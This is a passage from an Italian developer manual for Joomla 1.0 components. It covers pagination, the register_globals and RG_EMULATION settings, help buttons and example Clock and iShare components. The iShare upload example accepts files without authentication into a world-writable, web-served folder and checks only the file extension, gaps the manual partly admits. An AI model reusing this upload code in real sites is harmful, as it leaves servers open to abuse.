File `admin.weblinks.php` Nelle righe 86-87 vengono recuperati i due parametri della paginazione, anche se con un metodo diverso da quanto visto finora, e memorizzati nelle variabili `$limit` e `$limitstart`:

```

86 $limit      = intval( $mainframe->getUserStateFromRequest( "viewlistlimit", 'limit', ↵
    ↵ $mosConfig_list_limit ) );
87 $limitstart = intval( $mainframe->getUserStateFromRequest( "view{$option}limitstart", ' ↵
    ↵ limitstart', 0 ) );

```

Dopodichè viene ricavato il numero *totale* dei record presenti (utilizzando eventuali clausole SQL che non interessano all'esempio) e viene istanziato l'oggetto `$pageNav`:

```

100 // get the total number of records
101 $query = "SELECT COUNT(*)"
102 . "\n FROM #__weblinks AS a"
103 . ( count( $where ) ? "\n WHERE " . implode( ' AND ', $where ) : "" )
104 ;
105 $database->setQuery( $query );
106 $total = $database->loadResult();
107
108 require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/ ↵
    ↵ pageNavigation.php' );
109 $pageNav = new mosPageNav( $total, $limitstart, $limit );

```

Viene quindi preparata la query SQL che recupera i record, congiuntamente ai due parametri di paginazione, ed eseguita:

```

118 $database->setQuery( $query, $pageNav->limitstart, $pageNav->limit );
119
120 $rows = $database->loadObjectList();

```

Infine lo script non fa altro se non invocare il metodo statico che si occuperà di visualizzare materialmente i dati. Tale metodo riceve tutti i parametri necessari, tra cui l'oggetto `$pageNav` ed i record da visualizzare `$rows`:

```
130 HTML_weblinks::showWeblinks( $option, $rows, $lists, $search, $pageNav );
```

Questa invocazione non è legata in alcun modo alla paginazione, è semplicemente una scelta progettuale dello sviluppatore che ha voluto tenere separata la parte di gestione dei parametri e preparazione dei dati, da quella di mera visualizzazione.

File `admin.weblinks.html.php` Alla riga 24 inizia il codice del metodo `showWeblinks`:

```
24 function showWeblinks( $option, &$rows, &$lists, &$search, &$pageNav ) {
```

Dopodichè inizia il ciclo `for` su tutti i record da visualizzare; si noti che `$i` è l'indice del ciclo, `$n` è il numero di record da visualizzare²⁶ e `$row` è l'*i*-esimo record da visualizzare:

```
73 for ( $i=0, $n=count( $rows ); $i < $n; $i++ ) {
74     $row = &$rows[$i];
```

Per visualizzare il numero progressivo del record viene utilizzato il metodo `rowNumber()`:

```
87 <td>
88 <?php echo $pageNav->rowNumber( $i ); ?>
89 </td>
```

Le icone per modificare l'ordinamento vengono quindi inserite nella tabella:

```
111 <td>
112 <?php echo $pageNav->orderUpIcon( $i, ($row->catid == @$rows[$i-1]->catid) ); ?>
113 </td>
114 <td>
115 <?php echo $pageNav->orderDownIcon( $i, $n, ($row->catid == @$rows[$i+1]->catid) ); ?>
116 </td>
```

Tanto per iniziare si noti che i parametri `$task` e `$salt` non vengono passati, utilizzando così i valori di default.

Il numero di riga ed il totale dei record sono rappresentati dalle variabili `$i` e `$n`.

In questo caso specifico, la condizione che discrimina se visualizzare o meno l'icona di ordinamento, è data dalla categoria di appartenenza del record (campo `catid` del database); ciò permette di ordinare ogni record solamente all'interno della categoria di appartenenza. Questo è il caso specifico in esame, sarà compito dello sviluppatore decidere quale condizione utilizzare. Pertanto nel caso in cui il record dovesse appartenere ad una categoria diversa dal record precedente (o successivo nel caso di `orderDownIcon()`), il test della condizione fallisce e l'icona non viene visualizzata.

Infine, una volta chiusa la tabella, viene visualizzato l'elenco delle pagine:

```
131 <?php echo $pageNav->getListFooter(); ?>
```

²⁶ossia pari al valore `$limit` o ad un valore inferiore se ci sono meno record

12 Compatibilità RG_EMULATION=off e register_globals=off

Le ultime versioni di Joomla hanno posto molta attenzione sulla sicurezza, introducendo diversi controlli per comunicare all'utente eventuali configurazioni da fare.

L'attenzione maggiore è stata posta su due impostazioni in particolare: RG_EMULATION di Joomla e register_globals di PHP.

12.1 RG_EMULATION

RG_EMULATION è un parametro di configurazione di Joomla che *emula* l'impostazione di PHP `register_globals=on`; il sistema è più sicuro quando questa impostazione è settata su `off`.

Tuttavia, di default Joomla ha questo parametro settato su 1 come nelle precedenti versioni. Questo perchè molti dei componenti esterni sono stati scritti per funzionare con questo parametro a 1; quindi per evitare incompatibilità con i numerosi componenti di terze parti, si è deciso di lasciare questo settaggio a 1, ma si è voluta dare la possibilità di poter modificare manualmente questo parametro per rendere il sito più sicuro. Ovviamente è possibile effettuare dei test impostando questo parametro su 0 e configurando i componenti in modo che tutto funzioni correttamente.

Per cambiare questa impostazione, è necessario aprire il file `globals.php`, presente nella cartella principale di Joomla e modificarlo alla linea dove è riportato:

```
1 define( 'RG_EMULATION', 1 );
```

cambiarlo con:

```
1 define( 'RG_EMULATION', 0 );
```

12.2 register_globals

La direttiva `register_globals=on`, permette allo script PHP di creare variabili globali secondo quanto ricevuto via query string, form, cookies o sessione; `register_globals` impostato su `off` permette, invece, di utilizzare le variabili globali solo *dopo* che sono state ricavate dall'array globale generato.

`register_globals=on` Nel caso di una URL del tipo `www.dominio.com/file.php?ID=56`, nella pagina `file.php` è possibile utilizzare direttamente la variabile `$ID`, il cui valore è 56.

`register_globals=off` Il parametro sarà disponibile solamente tramite la variabile superglobale `$_GET["ID"]` o con le vecchie variabili `$HTTP_GET_VARS["ID"]` e non più come `$ID`.

12.3 Sviluppo estensioni di terze parti

Per avere una maggiore compatibilità con Joomla è consigliato sviluppare le estensioni compatibili con `RG_EMULATION=0` e `register_globals=off`.

Per controllare che il componente sia capace di funzionare con `register_globals=off`, è necessario fare quanto segue:

- permettere a PHP di visualizzare gli errori e di vedere gli avvisi, così da fornire utili informazioni allo sviluppatore

- impostare nel file `php.ini` di PHP, `register_globals=off`
- impostare `RG_EMULATION=0` nel file `globals.php`

Per rendere compatibile un componente è molto semplice, basta recuperare il valore delle variabili attraverso le funzioni di sistema opportune e non direttamente con il nome della variabile `$var`. Ad esempio, nel file `mycomp.php`, inserire il seguente codice:

```
1 $nome = mosGetParam ($_POST, 'nome', '');
2 $cognome = mosGetParam ($_POST, 'cognome', '');
3 $testo = mosGetParam ($_POST, 'testo', '');
4 $id = mosGetParam($_POST, 'id', null);
```

per recuperare tutte le variabili che intendete processare.

Con questo metodo, si potranno processare tutti i dati correttamente, con il `RG_EMULATION=0` e `register_globals=off`.

13 Realizzazione dell'aiuto in linea

Utilizzando i componenti standard di Joomla (ma non solo), ci si sarà resi conto della presenza di un pulsante *Aiuto* a fianco dei normali pulsanti *Nuovo*, *Salva*, *Pubblica*, ...

Tale pulsante apre un popup contenente un aiuto contestuale alla pagina che si sta visualizzando, e permette di fornire un supporto immediato all'utente.

La realizzazione del meccanismo dell'aiuto in linea è molto semplice e gli strumenti necessari sono già stati presentati in precedenza.

Nella sezione 2.7 si è infatti parlato del metodo `help($ref[, $com = false])` della classe `mosMenuBar`, necessario a visualizzare un pulsante di aiuto, collegato ad un file HTML. E nella sezione 10.2 è stato presentato il file `toolbar.mycomp.html.php` all'interno del quale vengono definite tutte le barre dei pulsanti, utilizzate dal componente.

Per visualizzare il pulsante di aiuto all'interno di una o più barre è necessario aggiungere la chiamata al metodo `help()` all'interno del file `toolbar.mycomp.html.php` e posizionare il pulsante nel punto desiderato:

```
1 mosMenuBar::startTable();
2 // altri pulsanti: Nuovo, Modifica, Cancella, ...
3 mosMenuBar::help("nomeFile.html", true);
4 // altri pulsanti
5 mosMenuBar::endTable();
```

E' importante impostare il secondo parametro su `true`, in quanto ciò farà in modo che la pagina di aiuto venga cercata nella sottocartella `help` all'interno della cartella di backend del componente.

Una volta preparate tutte le barre dei pulsanti, è necessario creare i file HTML.

A tal proposito deve essere creata una cartella `help` ed al suo interno memorizzati tutti i singoli file che fanno parte dell'aiuto in linea; volendo è anche possibile creare un proprio foglio di stile per abbellire le pagine.

Dopo aver creato tutti i file, è necessario inserirli nel pacchetto di installazione e per fare ciò, oltre che ovviamente inserirli nello ZIP, è necessario inserire tutti i riferimenti ai nomi dei file nel file XML, nella sezione amministrativa:

```

1 <administration>
2   <files >
3     ...
4     <filename>help/nomeFile1.html</filename>
5     <filename>help/nomeFile2.html</filename>
6     <filename>help/nomeFile3.html</filename>
7     <filename>...</filename>
8   </files >
9 </administration>

```

14 Esempi pratici

Vediamo ora alcuni componenti di esempio, realizzati appositamente per comprendere i dettagli del loro sviluppo.

Tutti gli esempi sono formati dai vari file PHP del codice, come illustrato nella sezione 10, e dal file XML di installazione; sarà sufficiente creare l'archivio ZIP ed installarli dal menu *Installazioni*→*Componenti* del backend.

Al termine dell'installazione i componenti saranno disponibili nel menu *Componenti* per la loro eventuale configurazione. L'utilizzo lato frontend è consentito creando un'apposita voce di menu di tipo *Componente*, collegata al componente in oggetto.

Si raccomanda di non modificare i nomi dei file e di mantenere quelli proposti negli esempi; il nome dell'archivio ZIP può essere scelto a piacere, ma si consiglia di sceglierne uno che riporti almeno il nome e la versione del componente.

Il codice PHP e le query SQL fanno riferimento alla versione 1.0.11 di Joomla, versione corrente al momento della stesura del manuale.

14.1 Componente Clock

Questo semplice esempio serve ad illustrare i rapporti che esistono tra i due file del frontend.

Il componente non sarebbe nemmeno completamente corretto, perchè una volta installato non figura da nessuna parte, e quindi per disinstallarlo è necessario rimuovere le directory a mano; questo avviene perchè mancano i file del backend e quindi Joomla non è in grado di gestirlo correttamente.

Il componente visualizza a video la data e l'ora corrente del server e per invocarlo è necessario caricare la seguente pagina:

```
1 index.php?com_option=com_clock
```

Tale chiamata invoca il componente senza il parametro `$task`, e quindi viene gestita l'alternativa di default che visualizza sia la data che l'ora. Per visualizzare solo la data, oppure solo l'ora, è necessario invocare il componente con:

```

1 index.php?com_option=com_clock&task=date
2
3 index.php?com_option=com_clock&task=hour

```

File PHP di installazione - com_clock.xml

```

1 <?xml version="1.0" ?>
2
3 <mosinstall type="component" version="1.0">
4   <name>Clock</name>
5   <creationDate>21 settembre 2006</creationDate>
6   <author>Marco Napolitano</author>
7   <copyright>This component in released under the GNU/GPL License</copyright>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Visualizza la data, completa di orario, corrente.</description>
12  <files>
13    <filename>clock.php</filename>
14    <filename>clock.html.php</filename>
15  </files>
16
17  <administration>
18    <menu>Clock</menu>
19  </administration>
20 </mosinstall>

```

Listato 119: com_clock.xml

File PHP di frontend - clock.php

```

1 <?php
2   defined('_VALID_MOS') or die('Restricted access');
3
4   // include il secondo file di frontend
5   require_once($mainframe->getPath("front_html"));
6
7   // esamina tutte le alternative per il parametro $task
8   // ed invoca il metodo della classe contenuta nel
9   // secondo file di frontend
10  switch($task) {
11    case "date" :
12      HTML_clock::date();
13      break;
14    case "hour" :
15      HTML_clock::hour();
16      break;
17    case "all" :
18    default :
19      HTML_clock::all();
20      break;
21  }
22  ?>

```

Listato 120: clock.php

File PHP di frontend - clock.html.php

```

1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3
4     class HTML_clock {
5         // metodo che visualizza la data
6         function date(){
7             $oggi = getdate();
8
9             $giorno = sprintf("%02d",$oggi['mday']);
10            $mese = $oggi['month'];
11            $anno = sprintf("%04d",$oggi['year']);
12
13            echo $giorno . " " . $mese . " " . $anno . "<br />";
14        }
15
16        // metodo che visualizza l'ora
17        function hour(){
18            $oggi = getdate();
19
20            $ora = sprintf("%02d",$oggi['hours']);
21            $min = sprintf("%02d",$oggi['minutes']);
22            $sec = sprintf("%02d",$oggi['seconds']);
23
24            echo $ora . ":" . $min . ":" . $sec . "<br />";
25        }
26
27        // metodo che visualizza sia la data che l'ora
28        function all(){
29            HTML_clock::date();
30            HTML_clock::hour();
31        }
32    }
33 ?>

```

Listato 121: clock.html.php

14.2 Componente Clock2

Questo esempio estende quello precedente, introducendo i file di backend, in modo tale da illustrarne il funzionamento. Ora il componente può essere rimosso oltre che associato ad una voce di menu nel frontend.

Le funzionalità del backend sono limitate alla visualizzazione delle informazioni di copyright e sono accessibili dal menu *Componenti*, cliccando sulla voce relativa al componente *Clock 2*.

Il funzionamento dei file di backend è analogo a quelli del frontend: il file principale riceve il parametro `$task`²⁷ ed effettua una verifica di correttezza prima di invocare il metodo corretto, appartenente ad una classe definita nel secondo file di backend, quello di *visualizzazione*.

²⁷potrebbe riceverne anche altri

File PHP di installazione - com_clock2.xml

```

1 <?xml version="1.0" ?>
2
3 <mosinstall type="component">
4   <name>Clock 2</name>
5   <creationDate>21 settembre 2006</creationDate>
6   <author>Marco Napolitano</author>
7   <copyright>This component in released under the GNU/GPL License</copyright>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>2.0</version>
11  <description>Visualizza la data, completa di orario, corrente.</description>
12
13  <files>
14    <filename>clock2.php</filename>
15    <filename>clock2.html.php</filename>
16  </files>
17
18  <administration>
19    <menu>Clock 2</menu>
20
21    <files>
22      <filename>admin.clock2.php</filename>
23      <filename>admin.clock2.html.php</filename>
24    </files>
25  </administration>
26 </mosinstall>

```

Listato 122: com_clock2.xml

File PHP di frontend - clock2.php

```

1 <?php
2   defined('_VALID_MOS') or die('Restricted access');
3
4   // include il file di frontend di visualizzazione
5   require_once($mainframe->getPath("front_html"));
6
7   // esamina tutte le alternative ammesse per il parametro $task
8   // ed invoca il metodo della classe definita nel file di frontend di visualizzazione .
9   // il parametro $task viene passato automaticamente dal framework di Joomla
10  // al componente, pertanto non bisogna recuperarlo con mosGetParam() o altri metodi
11  switch($task) {
12    case "date" :
13      HTML_clock::date();
14      break;
15    case "hour" :
16      HTML_clock::hour();
17      break;
18    case "all" :

```

```

19     default :
20         HTML_clock::all();
21         break;
22     }
23 ?>

```

Listato 123: clock2.php

File PHP di frontend - clock2.html.php

```

1 <?php
2     defined(' _VALID_MOS') or die('Restricted access');
3
4     class HTML_clock {
5         // metodo che visualizza la sola data
6         function date(){
7             $oggi = getdate();
8
9             // fare riferimento alla funzione PHP sprintf per i dettagli sul formato
10            // http://it2.php.net/manual/it/function.sprintf.php
11            $giorno = sprintf("%02d", $oggi['mday']);
12            $mese = $oggi['month'];
13            $anno = sprintf("%04d", $oggi['year']);
14
15            echo $giorno . " " . $mese . " " . $anno . "<br />";
16        }
17
18        // metodo che visualizza la sola ora
19        function hour(){
20            $oggi = getdate();
21
22            // fare riferimento alla funzione PHP sprintf per i dettagli sul formato
23            // http://it2.php.net/manual/it/function.sprintf.php
24            $ora = sprintf("%02d", $oggi['hours']);
25            $min = sprintf("%02d", $oggi['minutes']);
26            $sec = sprintf("%02d", $oggi['seconds']);
27
28            echo $ora . ":" . $min . ":" . $sec . "<br />";
29        }
30
31        // metodo che visualizza sia la data che l'ora
32        function all(){
33            HTML_clock::date();
34            HTML_clock::hour();
35        }
36    }
37 ?>

```

Listato 124: clock2.html.php

File PHP di backend - admin.clock2.php

```

1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3
4     // include il secondo file di backend
5     require_once($mainframe->getPath("admin_html"));
6
7     // esamina tutte le alternative per il parametro $task
8     // ed invoca il metodo della classe contenuta nel
9     // secondo file backend
10    switch($task) {
11        case "about" :
12            default :
13                HTML_clock::about();
14                break;
15    }
16 ?>

```

Listato 125: admin.clock2.php

File PHP di backend - admin.clock2.html.php

```

1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3
4     class HTML_clock {
5         // metodo che visualizza le informazioni di copyright
6         function about(){
7             echo "<div class='sectionname'>Clock 2</div>";
8             echo "<div class='sectionname'>Versione 2.0</div>";
9         }
10    }
11 ?>

```

Listato 126: admin.clock2.html.php

14.3 Componente Clock3

Questo esempio espande quello precedente, introducendo i file di toolbar, in modo da illustrarne il funzionamento.

Le barre dei pulsanti rappresentano tutte le azioni eseguibili da un determinato componente: *Nuovo, Salva, Pubblica, Cancella, ...*

E nel caso in cui un componente possa svolgere più azioni, le barre possono essere diverse per ogni azione.

Il funzionamento dei file di toolbar è analogo a quelli del frontend: il file principale riceve il parametro `$task`²⁸ ed effettua una verifica di correttezza prima di invocare il metodo corretto, appartenente alla classe definita nel secondo file di toolbar, per visualizzare la barra dei pulsanti

²⁸potrebbe riceverne anche altri

corretta.

Si ricorda che le azioni eseguibili dai file di backend e di toolbar devono essere le stesse.

Si veda la sezione 2.7 per i dettagli sui pulsanti utilizzabili nelle barre dei pulsanti.

File PHP di installazione - com_clock3.xml

```

1 <?xml version="1.0" ?>
2
3 <mosinstall type="component">
4   <name>Clock 3</name>
5   <creationDate>21 settembre 2006</creationDate>
6   <author>Marco Napolitano</author>
7   <copyright>This component in released under the GNU/GPL License</copyright>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>3.0</version>
11  <description>Visualizza la data, completa di orario, corrente.</description>
12
13  <files >
14    <filename>clock3.php</filename>
15    <filename>clock3.html.php</filename>
16  </files >
17
18  <administration>
19    <menu>Clock 3</menu>
20
21    <files >
22      <filename>admin.clock3.php</filename>
23      <filename>admin.clock3.html.php</filename>
24      <filename>toolbar.clock3.php</filename>
25      <filename>toolbar.clock3.html.php</filename>
26    </files >
27  </administration>
28 </mosinstall>

```

Listato 127: com_clock3.xml

File PHP di frontend - clock3.php

```

1 <?php
2   defined('_VALID_MOS') or die('Restricted access');
3
4   // include il secondo file di frontend
5   require_once($mainframe->getPath("front_html"));
6
7   // esamina tutte le alternative per il parametro $task
8   // ed invoca il metodo della classe contenuta nel
9   // secondo file di frontend
10  switch($task) {
11    case "date" :

```

```

12     HTML_clock::date();
13     break;
14     case "hour" :
15         HTML_clock::hour();
16         break;
17     case "all" :
18     default :
19         HTML_clock::all();
20         break;
21     }
22 ?>

```

Listato 128: clock3.php

File PHP di frontend - clock3.html.php

```

1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3
4     class HTML_clock {
5         // metodo che visualizza la data
6         function date(){
7             $oggi = getdate();
8
9             $giorno = sprintf("%02d",$oggi['mday']);
10            $mese = $oggi['month'];
11            $anno = sprintf("%04d",$oggi['year']);
12
13            echo $giorno . " " . $mese . " " . $anno . "<br />";
14        }
15
16        // metodo che visualizza l'ora
17        function hour(){
18            $oggi = getdate();
19
20            $ora = sprintf("%02d",$oggi['hours']);
21            $min = sprintf("%02d",$oggi['minutes']);
22            $sec = sprintf("%02d",$oggi['seconds']);
23
24            echo $ora . ":" . $min . ":" . $sec . "<br />";
25        }
26
27        // metodo che visualizza sia la data che l'ora
28        function all(){
29            HTML_clock::date();
30            HTML_clock::hour();
31        }
32    }
33 ?>

```

Listato 129: clock3.html.php

File PHP di backend - admin.clock3.php

```

1 <?php
2     defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4     // include il file di backend di visualizzazione
5     require_once( $mainframe->getPath( "admin_html" ) );
6
7     // esamina tutte le alternative per il parametro $task
8     // ed invoca il metodo della classe definita nel file di backend visualizzazione
9     switch( $task ) {
10        case "about" :
11        default :
12            HTML_clock::about();
13            break;
14    }
15 ?>

```

Listato 130: admin.clock3.php

File PHP di backend - admin.clock3.html.php

```

1 <?php
2     defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4     class HTML_clock {
5         // metodo che visualizza le informazioni di copyright
6         function about(){
7             echo "<div class='sectionname'>Clock 3</div>";
8             echo "<div class='sectionname'>Versione 3.0</div>";
9
10            echo HTML_clock::emptyForm();
11        }
12
13        // metodo che inserisce un form vuoto
14        function emptyForm(){
15            return '<form action="index2.php" method="post" name="adminForm">' .
16                '<input type="hidden" name="task" value="" /></form>';
17        }
18    }
19 ?>

```

Listato 131: admin.clock3.html.php

File PHP di toolbar - toolbar.clock3.php

```

1 <?php
2     defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4     // include il secondo file di toolbar

```

```

5  require_once($mainframe->getPath('toolbar_html'));
6
7  // a seconda dell'operazione che deve essere svolta,
8  // viene visualizzata una barra differente
9  switch ($task) {
10     case 'about':
11         default:
12             TOOLBAR_clock::defaultMenu();
13             break;
14     }
15 ?>

```

Listato 132: toolbar.clock3.php

File PHP di toolbar - toolbar.clock3.html.php

```

1  <?php
2  defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4  // classe che realizza la barra dei pulsanti del componente
5  class TOOLBAR_clock {
6      // barra di default, con il solo pulsante di chiusura
7      function defaultMenu() {
8          // apre la tabella dei pulsanti
9          mosMenuBar::startTable();
10         // inserisce un pulsante di chiusura,
11         // collegato all'azione "cancel"
12         mosMenuBar::cancel("cancel", "Chiudi");
13         // chiude la tabella dei pulsanti
14         mosMenuBar::endTable();
15     }
16 }

```

Listato 133: toolbar.clock3.html.php

14.4 Componente iShare

Il componente iShare realizza un sistema di upload file lato frontend e mostra l'utilizzo e la gestione dei moduli HTML.

L'interfaccia è costituita da un semplice form attraverso cui inviare il file al server.

Tutti i file vengono copiati all'interno della cartella `ishare` che viene creata in fase di installazione del componente ed impostata ai corretti permessi di scrittura. Ciascun file inviato viene sottoposto ad un controllo di dimensione massima e di tipo²⁹, prima di essere memorizzato; entrambi i controlli sono cablati nel codice.

Si noti che non viene gestita l'autenticazione degli utenti, pertanto chiunque potrebbe inviare file; un primo livello di controllo potrebbe essere quello di impostare la voce di menu, collegata al componente, sulla modalità *Registered*.

²⁹il controllo è fatto solamente sull'estensione del file

Il componente non possiede alcun parametro, si chiama `com_ishare` ed è costituito dai seguenti file di codice:

- file di supporto all'installazione
 - `install.ishare.php`
 - `uninstall.ishare.php`
- file di backend
 - `admin.ishare.php`
 - `admin.ishare.html.php`
- file di frontend
 - `ishare.php`, file principale del componente che viene invocato mediante il parametro `option=com_ishare` passato nella stringa dell'indirizzo
 - `ishare.html.php`
- file di installazione
 - `com_ishare_install.xml`

File PHP di installazione - `install.ishare.php`

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 function com_install(){
6     global $mainframe;
7
8     echo '<table border="0">';
9
10    // se la cartella ishare non esiste, deve essere creata
11    if (!file_exists($mainframe->getCfg('absolute_path') . "/ishare/")){
12        @umask(0);
13
14        // viene creata la cartella per memorizzare i file
15        if (!@mkdir($mainframe->getCfg('absolute_path') . "/ishare/")){
16            echo '<tr><td><font color="red">ERRORE</font></td><td>Impossibile creare ↵
17                ↵ cartella <tt>/ishare/</tt></td></tr>';
18        } else {
19            echo '<tr><td><font color="green">SUCCESSO</font></td><td>Creata cartella ↵
20                ↵ <tt>/ishare/</tt></td></tr>';
21        }
22    }
23
24    // se la cartella non è scrivibile, deve essere modificata
25    if (!is_writable($mainframe->getCfg('absolute_path') . "/ishare/")){
26        @umask(0);
  
```

```

25 // vengono impostati i permessi della cartella
26
27 if(!@chmod($mainframe->getCfg('absolute_path') . "/ishare/", 0777)){
28     echo '<tr><td><font color="red">ERRORE</font></td><td>Impossibile rendere
        ↳ <tt>/ishare/</tt> scrivibile</td></tr>';
29 } else {
30     echo '<tr><td><font color="green">SUCCESSO</font></td><td>Cartella <tt>/
        ↳ ishare/</tt> scrivibile</td></tr>';
31 }
32 }
33
34 echo '</table>';
35 }
36 ?>

```

Listato 134: install.ishare.php

File PHP di disinstallazione - uninstall.ishare.php

```

1 <?php
2     function com_uninstall() {
3         echo "Rimozione avvenuta con successo.<br><br>";
4         echo "La cartella di upload non è stata rimossa, per mantenere i file";
5     }
6 ?>

```

Listato 135: uninstall.ishare.php

File PHP di backend - admin.ishare.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 // inserisce il file di frontend del lato admin
6 require_once( $mainframe->getPath( 'admin_html' ) );
7
8 // richiama il metodo che si occupa di creare il frontend
9 ishare_html::aboutHTML();
10 ?>

```

Listato 136: admin.ishare.php

File PHP di backend - admin.ishare.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4

```

```

5 class ishare.html {
6     function aboutHTML() {
7     ?>
8     <table cellpadding="4" cellspacing="0" border="0" width="100%">
9         <tr>
10            <td width="100%">
11                <span class="sectionname">iShare</span>
12            </td>
13        </tr>
14    </table>
15
16    <table cellpadding="4" cellspacing="0" border="0" width="100%" class="">
17        <tr>
18            <td width="10%">Versione</td>
19            <td>1.0</td>
20        </tr>
21    </table>
22    <?php
23        }
24    }
25    ?>

```

Listato 137: admin.ishare.html.php

File PHP di frontend - ishare.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 require_once( $mainframe->getPath( 'front_html' ) );
6 ?>

```

Listato 138: ishare.php

File PHP di frontend - ishare.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5
6 ob_start();
7
8 // indirizzo del sito web
9 $site = $mosConfig_live_site . "/";
10 // nome della directory
11 $directory = "ishare/";
12 // dimensione massima dei file (in byte)
13 $size = "500000";

```

```

14 // estensioni valide per i file inviati
15 $validExt = array(".jpg", ".jpeg", ".gif", ".tiff", ".tif", ".png");
16
17 echo "<center>";
18
19 // visualizza il numero di file già presenti
20 // la funzione glob() è disponibile da PHP 4.3.0
21 echo count(glob($directory . "*")) . " file presenti";
22 echo "<br>";
23 // visualizza il form per l'upload
24 echo "<form enctype='multipart/form-data' method='post' action='?option=com_ishare& ←
↳ task=upload&Itemid=" . $Itemid . "'>" .
25     "<input name='userfile' type='file' size='30'>&nbsp;&nbsp;<input type='submit' value ←
↳ ='Invia'>" .
26     "<br>Estensioni consentite: " . implode(" ", $validExt) . "</form><br>";
27
28 if($_GET['task'] == 'upload') {
29     $uploaddir = $directory;
30     $trim = str_replace(" ", "", basename($_FILES['userfile']['name']));
31     $name = strtolower($trim);
32     srand((double)microtime() * 1000000);
33
34     // viene creato il nome casuale del file
35     $number2 = rand(0,100000000) . getExt($name);
36
37     // viene creato il percorso completo del file da uploadare
38     $uploadfile = $uploaddir . $number2;
39
40     // viene controllata la dimensione del file
41     if($_FILES['userfile']['size'] >= $size) {
42         $size2 = $size / 1024;
43         echo "ERRORE: La dimensione del file deve essere meno di " . $size2 . "kb";
44     }
45     else if(!in_array(getExt($name), $validExt)) {
46         echo "ERRORE: tipo di file non valido";
47     }
48     else {
49         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
50             echo "File caricato correttamente<br><br>";
51             echo "Link del file: <font color='gray'>" . $site . $directory . $number2 . " ←
↳ </font><br>";
52             echo "Per inserire il file in un forum, copia/incolla questo codice:< ←
↳ br>";
53             echo "<font color='gray'>[url=" . $site . $directory . $number2 . "]" . ←
↳ $number2 . "[/url]</font>";
54         }
55         else {
56             echo "ERRORE: File non caricato sul server";
57         }
58     }
59 }
60 echo "</center>";
61

```

```

62 // funzione che restituisce l'estensione dal nome del file
63 function getExt($fileName){
64     // il nome del file viene suddiviso in blocchi, usando il punto come separatore
65     $blocchi = explode(".", $fileName);
66
67     // se non ci sono estensioni
68     if (!isset($blocchi[1]))
69         return "";
70
71     // l'estensione è l'ultimo blocco a destra
72     $estensione = $blocchi[count($blocchi) - 1];
73     $estensione = strtolower($estensione);
74
75     return "." . $estensione;
76 }
77 }
78 ?>

```

Listato 139: ishare.html.php

File XML di installazione - com_ishare_install.xml

```

1 <?xml version="1.0" ?>
2
3 <mosinstall type="component">
4     <name>iShare</name>
5     <creationDate>9 settembre 2006</creationDate>
6     <author>LucaZone</author>
7     <copyright>This component in released under the GNU/GPL License, copyright lucazone.net< ↵
8     ↵ /copyright>
9     <authorEmail>info@lucazone.net</authorEmail>
10    <authorUrl>www.lucazone.net</authorUrl>
11    <version>1.0</version>
12    <description>Componente iShare, per la gestione di un sistema di scambio file.</description>
13    <files>
14        <filename>ishare.php</filename>
15        <filename>ishare.html.php</filename>
16    </files>
17    <installfile >install.ishare.php</installfile >
18    <uninstallfile >
19        <filename>uninstall.ishare.php</filename>
20    </uninstallfile >
21    <administration>
22        <menu>iShare 1.0</menu>
23        <files>
24            <filename>admin.ishare.php</filename>
25            <filename>admin.ishare.html.php</filename>
26        </files>
27    </administration>
28 </mosinstall>

```

Listato 140: com_ishare_install.xml

14.5 Componente iShare 2.0

E' uguale all'esempio precedente, ma è ora possibile configurarlo inserendo i propri valori per la dimensione massima e l'estensione dei file; la pagina di configurazione è accessibile dal menu *iShare 2.0* → *Configurazione*.

Oltre ai file già presenti, sono presenti due nuovi file che servono a creare le barre dei pulsanti:

1. `toolbar.ishare2.php`
2. `toolbar.ishare2.html.php`

Infine è stato modificato il file di configurazione `com_ishare2.xml`, aggiungendo i tag per la creazione del menu e dei sottomenu del componente nel backend. Come si noterà nel file, a ciascuna delle due voci del sottomenu (*Configurazione* e *Informazioni su*) è associato un valore del parametro `task` per identificare l'azione che deve essere eseguita.

File PHP di installazione - `install.ishare2.php`

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 function com_install(){
6     global $mainframe;
7
8     $msg = '<table border="0">';
9
10    // se la cartella ishare non esiste, deve essere creata
11    if (!file_exists($mainframe->getCfg('absolute_path') . "/ishare/")){
12        @umask(0);
13        // viene creata la cartella per memorizzare i file
14        if (!@mkdir($mainframe->getCfg('absolute_path') . "/ishare/")){
15            $msg .= '<tr><td><font color="red">ERRORE</font></td><td>Impossibile ←
16                ↳ creare cartella <tt>/ishare/</tt></td></tr>';
17        }
18        else {
19            $msg .= '<tr><td><font color="green">SUCCESSO</font></td><td>Creata ←
20                ↳ cartella <tt>/ishare/</tt></td></tr>';
21        }
22    }
23
24    // se la cartella non è scrivibile, deve essere modificata
25    if (!is_writable($mainframe->getCfg('absolute_path') . "/ishare/")){
26        @umask(0);
27        // vengono impostati i permessi della cartella
28        if (!@chmod($mainframe->getCfg('absolute_path') . "/ishare/", 0777)){
29            $msg .= '<tr><td><font color="red">ERRORE</font></td><td>Impossibile ←
